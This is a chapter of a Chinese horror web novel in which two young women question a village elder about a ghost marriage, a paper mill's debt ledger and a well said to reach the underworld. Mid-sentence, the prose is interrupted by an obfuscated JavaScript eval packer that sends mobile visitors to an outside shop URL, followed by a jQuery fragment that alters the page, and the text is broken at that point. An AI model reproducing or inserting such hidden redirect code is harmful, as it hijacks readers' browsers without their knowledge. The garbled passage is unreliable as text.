七夕闹完，第七天，村里没散。偏房外七盏灯灭了六盏。
沈烬一早起来，偏房门口还挂着那截红绸，昨儿个系上去的，今儿个蔫了，布料塌在门框上，颜色暗了一层，像让露水泡过。院子里那口红绳棺也没挪，棺盖合着，七道红绳压在缝里，压得死紧。几个村民在院里蹲着，不干活，就蹲着，远远地看那口棺，互相嘀咕什么。
沈烬下炕的时候，膝盖那块咯哒响了一声，是硌的，在偏房土炕上又睡了一夜，枕头硬，后颈那块还酸。她拿手捶了捶后颈，捶完又捶，捶了好几下才把那股钝劲儿捶散。
白芷不在偏房。
沈烬往院子里找，看见她站在红绸底下，仰着脸往上看，像在数那截绸子上的褶子。铃铛垂在腰上，一声不响，整个人绷着，站得僵。
「饿了没。」沈烬开口，问她。
白芷没回头：「不饿。」
沈烬走过去，在她旁边站定，也往上看。那截红绸塌着，布角蹭在地上，沾了土，脏了一截。日头已经升了，晒在绸子上，颜色暗得更厉害。
「阿桃她妈，」沈烬开口，「今早来过。」
白芷的脸一下转过来，眼圈红了一圈：「你来的时候？」
「天刚亮。」沈烬说，「在院门口站了一会儿，没进来。」
白芷咬着牙，牙根那块发酸：「二斗米。她拿我姐换了二斗米。」
沈烬没接话。她想起天刚亮那会儿，院门口站着个瘦小的身影，佝偻着腰，脸上灰扑扑的，站了好一会儿，没进来，也没走，就站着。后来老礼生过去说了句什么，她才转身走了，步子慢，拖着脚，像拖着什么沉东西。
「她不是来要人的。」沈烬说，「她是来应卯的。」
「应卯？」白芷没听懂。
「村里叫她来的。」沈烬说，「喜棺没办成，人得到场，应个卯。」
白芷的铃铛响了一声，是她攥的，攥得紧，铜撞在一块儿，当的一下：「她拿我姐换了二斗米，她还有脸上这儿来应卯？」
沈烬没答。她把铜剪从腰后摸出来，攥在手心里，刃口朝外，又别回去。腕上红绳绕了七道，一道一道。刃口凉，攥完手心出了汗，汗把剪柄浸湿了。
院子那头，老礼生拄着拐棍从自个儿院里出来了。他走得很慢，拐棍戳在地上，戳一下挪一步，日头已经升高了，晒在门槛上，晒出一截白。他眯着眼往这边看，看了好一会儿，才慢慢走过来。
旁边几个村民也在往这边看。沈烬数了数，三个，蹲着的两个，加上老礼生，都看着她俩，眼神黏着，不动。
「你俩，」老礼生走到跟前，嗓子哑，「昨儿个闹那一出，今儿个村里都传遍了。」
「传什么了。」白芷问他。
老礼生没答。他把拐棍戳在地上，身子靠了靠，像站不住了：「外乡来的姑娘，不肯做引嫁人。」
「谁说我闹了。」白芷的声音一下拔高，「我们找阿桃，你们拿纸扎她，搁在棺材里头，当我姐是死人？」
老礼生的脸色变了变，又压回去了。他往四周看了看，压低了声音：「姑娘，这事儿不能在外头说。」
「去你家说。」白芷看着他。
老礼生犹豫了一拍，拐棍在地上戳了一下，点了点头。他转身往自个儿院里走，步子比来时还慢，拖着一只脚，拖得厉害。
白芷跟上去。沈烬跟在白芷后头，手插在袖口里，摸到那截新铜铃，又摸到铜剪，两个都硬，一个凉一个温。
老礼生家的院墙塌了一截，豁口用木棍挡着，歪歪斜斜地靠在墙上。院子里乱，东西堆得没章法，墙角一垛纸钱，灰扑扑的，纸边毛糙，是放了许久的货。堂屋门开着，里头七盏油灯灭了六盏，剩一盏晃着，光线暗，窗户纸糊得厚，只透进来一点。
老礼生进了堂屋，在太师椅上坐下。椅子吱呀响了一声，像要散架。他指了指墙边的条凳：「你俩坐。」
白芷没坐，站在屋子中央，腰上七枚铃铛响了一下：「说清楚，阿桃的冥婚，谁定的。」
老礼生叹了口气，拐棍戳在地上：「不是我定的。」
「那谁定的。」
「她妈。」老礼生说，「她妈点的头，收了二斗米。」
「二斗米就把人卖了？」白芷的声音一下拔高，铃铛跟着抖。
老礼生摇手，摇得很慢：「姑娘，不是卖。是村里的规矩。」
「什么规矩。」
老礼生没答。他往窗外看了一眼，窗外日头正高，晒在地上，白晃晃的。他看了好一会儿，才把目光收回来。沈烬趁这个空当把手插进袖口，摸到铜剪的刃口，凉的，碾了碾，才收回来。
「河西村有个老规矩。」他开口，嗓子更哑了，「村里有后生打光棍走的，没人送终，得给他配一门亲。」
白芷等着他说下去。他却停了，拐棍在地上戳了一下，像在掂量什么。
「配了亲，他才是有人管的人，不会在村里作祟。」他把话接下去，「配亲有两种：一种是有活人愿意嫁，嫁过去，名分定了，阴间阳间都是一家；一种是没有活人愿意嫁，就得想别的法子。」
「什么法子。」沈烬开口。这是她今天第一句整话。
老礼生看了她一眼，把拐棍换了个手撑着：「冥婚。拿纸扎一个，当活人娶。娶完了，名分有了，阴间的事儿就归阴间管，活人这边不受牵连。」
「可阿桃是活人。」白芷说，「她妈把她卖给一个死人，她不知道？」
老礼生没答。他低下头，看着自个儿的手，手背上全是皱纹，皱纹里夹着泥，指甲缝里也是黑的。白芷攥着腰上那串铃铛，指节发白，等他答。
「阿桃知不知道，」他终于开口，「我不知道。」
「她妈不知道？」
「她妈知道。」老礼生说，「可她妈答应了。」
「为什么。」
老礼生把拐棍在地上磕了一下，磕出一声闷响：「因为她家七代女子，生下来就背着债。欠了，就得还。怎么还，拿什么还，不是她说了算，也不是我说了算。」
白芷没听懂。沈烬听懂了。她把册子从怀里摸出来，攥在手心里，七页，硬邦邦的，没打开。
「欠了什么。」她问。
老礼生抬起头，看了她一眼。那眼神里头有点东西，不是怕，是别的什么，像在掂量她问这话的分量。
「欠了工。」他说，「阿桃她爹，早年间在纸厂做工，伤了腿，没治好，人没了。村里给了米，给了布，算是抚恤。可那笔账，没清。」
「账在哪儿记着。」沈烬问。
老礼生的脸色又变了。他没答话，站起来，往里屋走。里屋更暗，只有窗户纸透进来一点白，照在地上，照出一块方形的亮。沈烬跟上去，在门槛边上站定，里头的光暗沉沉的，压着人。
他走到窗边，背对着她俩，站了一会儿。背弯着，压在一件灰布褂子里，褂子旧了，后背那块磨得透光。
「账在纸厂里记着。」他终于开口，「纸厂有本册子，谁家欠了工，谁家欠了债，册子上都有。册子不是我的，是纸厂那个女人的。」
沈烬的手在袖口里动了一下，摸到那本册子的边角，硬硬的，抵着心口。
「那女人叫什么。」她问。
老礼生转过身来，看着她。日光从窗户纸那块照进来，照在他脸上，照出一脸皱纹，照出一双浑浊的眼。
「浸月。」他说，「姓江，叫浸月。」
白芷愣了一拍，回头看沈烬。沈烬没动。她把册子从怀里抽出来，翻到阿桃那页，指尖停在那个画着铃铛的符号上，然后把册子递过去。
「这个人，」她说，「认不认得。」
老礼生低头看了一眼。他的眼神在那页上停了好一会儿，停到那串铃铛上，圆肚子，扁口，画的人手抖，口歪了一点。他认出来了。
「认得。」他说，「这是纸厂的人。」
沈烬把册子收回去，贴着心口放好。册子七页，硬邦邦的。
「阿桃在纸厂做过工。」她说。
「对。」老礼生点头，「她跟她爹一块儿去的。她爹伤了腿之后，她接着去，还账。」
「还什么账。」
「她爹欠的。」老礼生说，「她爹伤了腿，工没了，账还在。账记在册子上，就得接着还。怎么还，做工。做够年数，账清了，人才能走。」
「阿桃做了几年。」
「七年。」老礼生说，「她做了七年，账还没清。她爹伤了腿那年，她十九。她死那年，二十五。七年，账没清。」
白芷的铃铛自己响了一声，响得闷，闷在腰上。她攥住，攥得紧，可手还在抖。
「她怎么死的。」白芷问。声音变了，不是质问，是别的什么，更低，更哑。
老礼生看着她，浑浊的眼珠子里有点东西在晃：「淹死的。」
「在哪儿淹的。」
「河里。」老礼生说，「村西头那段，泯水河。」
「她自个儿跳的，还是让人推的。」
老礼生没答。他往窗外看，窗外日头已经偏了，晒在院墙上，墙上的泥皮掉了一块，露出底下的土。土是黄的，干巴巴的，裂着缝。
「我不晓得。」他说，「可我知道，她死之前那几天，天天往河边跑。跑什么，我不知道。我只听说，她想从那账里出来，出来不了。」
沈烬想起册子上阿桃那页旁边画的铃铛。圆肚子，扁口，口歪了一点，是画的人手抖。可她现在想起来，那歪的口，像是铃铛自己歪的，不是画的。
册子上的铃铛会歪。
歪了的铃铛，口就合不上。合不上的铃铛，摇不响。摇不响的铃铛，就不是铃铛了。
「阿桃死的那天，」沈烬开口，「纸厂出什么事没有。」
老礼生的身子僵了一下。不是抖，是僵，像有什么东西从底下爬上来，把他整个儿定在那儿。
「你问这个做什么。」
「阿桃是纸厂的人。」沈烬说，「纸厂出了事，她跑不了。」
老礼生没说话。他把身子转过去，背对着窗户，背对着光，把脸藏进暗里。沈烬看着他后背那件灰布褂子，后背那块磨得透光，透光的地方能看到里头的肉。
「纸厂那年出了事。」他终于开口，「出了什么事，我不清楚。可我知道，纸厂封了。封了之后，有些人走了，有些人没了。阿桃那年也出了事。她那年天天往河边跑，说有人在河里叫她。叫她什么，我不知道。她没跟人说过。可我知道，她跑的那条路，通到纸厂后头那口井。」
沈烬想起阿桃母亲今早在院门口站着的模样。瘦小，佝偻，脸上灰扑扑的，站了好一会儿，没进来。
她不是来要人的。
她是来应卯的。村里叫她来，她就来了。
「那口井，」沈烬问，「通到哪儿。」
老礼生的后背僵得更厉害了。他没回头，可沈烬看见他后颈那块动了一下，是咽了口唾沫。
「通到地下。」他说，「纸厂那口井，通到地下。地下是阴间。阴间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17933303|213681||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的人，从井里上来，叫活人的名字。叫到了，活人就得下去。」
白芷攥着腰上七枚铃铛，攥得指节发白：「我姐就是从那井里下去的？」
老礼生没答。他转过身来，浑浊的眼珠子看着白芷，看了又好一会儿。
「你姐从哪儿下去的，我不知道。」他说，「可我知道，你姐的名字在那册子上。记了名字的人，跑不掉。跑不掉的意思是，活也好，死也好，都归那本册子管。」
沈烬把手插回袖口，摸到那本册子，七页，硬硬的，抵着心口。她想起母亲柜子里那串铃铛，红绳褪成了酱色，铃铛圆肚子扁口，也是通到阴间的东西。
阿桃的名字旁边画着铃铛，是因为阿桃是纸厂的人。阿桃死在河里，是因为有人从井里叫了她的名字。纸厂封了，可井还在。井通到阴间，阴间的人从井里上来，叫活人的名字，把人带到阴间去。
这是纸厂的规矩。
也是那本册子的规矩。
「纸厂，」沈烬问，「现在还能进去不能。」
老礼生摇头：「封了二十年，没人进得去。」
「有没有别的路。」
老礼生看着她，眼神里头有点东西在动：「你想进去？」
沈烬没答。她把册子收好，贴着心口，册子七页，硬邦邦的，像一块石头。
「明日。」她开口，这是她今天第三句整话，「我们去纸厂。」
白芷看着她，铃铛在腰上响了一下：「去那井边？」
沈烬没答。她往门外走，鞋底踩在地上，踩出一串闷响。
老礼生在身后说了句什么，声音很低，像是嘱咐，又像是警告。沈烬没听清，她也没打算听。她走到院门口，站住了，回头看了一眼那口还摆在院子里的红绳棺。
棺上那截红绸，还塌着，脏了一截，颜色暗得像干涸的血。
白芷跟上来，铃铛响得乱：「那井，真能通到阴间？」
沈烬没答。她往村西头走，脚步不快不慢，鞋底在黄土上拖出两道印。河风从西边吹过来，腥，带着泯水河的水气，裹着一股说不清的味儿，像是从地底下冒出来的。
村西头那段泯水河，她去过。第10章的时候，白芷带她去看过阿桃的坟。新土，歪木牌，木牌上拿木炭写了「阿桃」两个字，笔画歪。
可坟在西边。纸厂也在西边。纸厂后头那口井，通到地下，通到阴间。
阿桃死在河里，是因为有人从井里叫了她的名字。她顺着那声音，走到河里，走到阴间去了。
沈烬走到河边，站定。河水浑黄，流得慢，河面上浮着一层沫，沫子在日光底下泛着白。阿桃的坟在河岸，看不清了，坟旁七座旧坟矮着，只能看见一个灰扑扑的土堆，立在那儿，立得孤。
她把铜剪从袖里摸出来，攥在手心里。刃口凉，攥得虎口那块发白。
白芷在她旁边站着，铃铛垂在腰上，不响了。她看着对岸那座孤坟，看了又好一会儿，才开口。
「我姐死之前那几天，」她说，「天天往河边跑。她跟我妈说，井里有人叫她。我妈说她听错了。她说她没听错，就是有人叫她，叫的是她的名字。」
沈烬攥紧了剪柄。
「后来有一天晚上，她没回来。第二天早上，她在河里漂着，脖子上一道印，绳勒的，铃铛还在脖子上，解不下来。」
白芷的声音变了，变得很轻，轻得像河面上的风。
「她不是自己淹死的。」白芷说，「她是让人拽下去的。拽到井里，拽到河里，把她拽到阴间去了。」
河风卷着泯水河的水气，腥，凉，裹着从地底下冒出来的味儿。沈烬看着对岸那座孤坟，坟前那块歪木牌还在，歪着，像有什么东西从土里长出来，又缩回去了。
册子上阿桃那页，七页里的第七页，她记得。那串铃铛，画的人手抖，口歪了一点。可现在她想起来，那歪的口，不是画的，是铃铛自己歪的。铃铛歪了，就摇不响。摇不响的铃铛，就不是铃铛了。
可册子上那串铃铛旁边，还画着另一串。藏在阿桃的名字底下，藏在墨底下，只有侧着光才能看见。
那串铃铛的口，没歪。
那串铃铛是完整的。
沈烬把手伸进袖口，摸到那本册子，硬邦邦的，抵着心口。她把册子抽出来，翻到阿桃那页，册子共七页，侧着光看了看。
阿桃的名字底下，藏着另一串铃铛。圆肚子，扁口，口没歪，画得齐齐整整。画的人不是画阿桃那串铃铛的人，是另一个人。
另一个人画的这串铃铛，是完整的。
沈烬把册子合上，贴着心口放回去。册子硬邦邦的，像一块石头，像一口井，像通到阴间去的那条路。
白芷看着她：「你看见什么了？」
沈烬没答。她把铜剪攥紧，刃口朝外，又别回腰后。
「明日。」她说，「去纸厂。」
河风呜地一下卷过来，裹着泯水河的腥，裹着从地底下冒出来的凉。河面上的沫子被风卷起来，又落下去，落回水里，泛起一圈圈细小的涟漪。
沈烬看着那些涟漪，看了好一会儿。涟漪散了，水面又平了，浑黄，浊，映着她的脸，映着一双没有神色的眼。
阿桃在册子上。册子在母亲那儿。母亲在第49页，写着入卷不再归。
可阿桃名字底下那串完整的铃铛，不是母亲画的。那是谁画的？
沈烬把铜剪攥紧，腕上红绳七道，一道一道，攥得指节发白。
明日，去纸厂。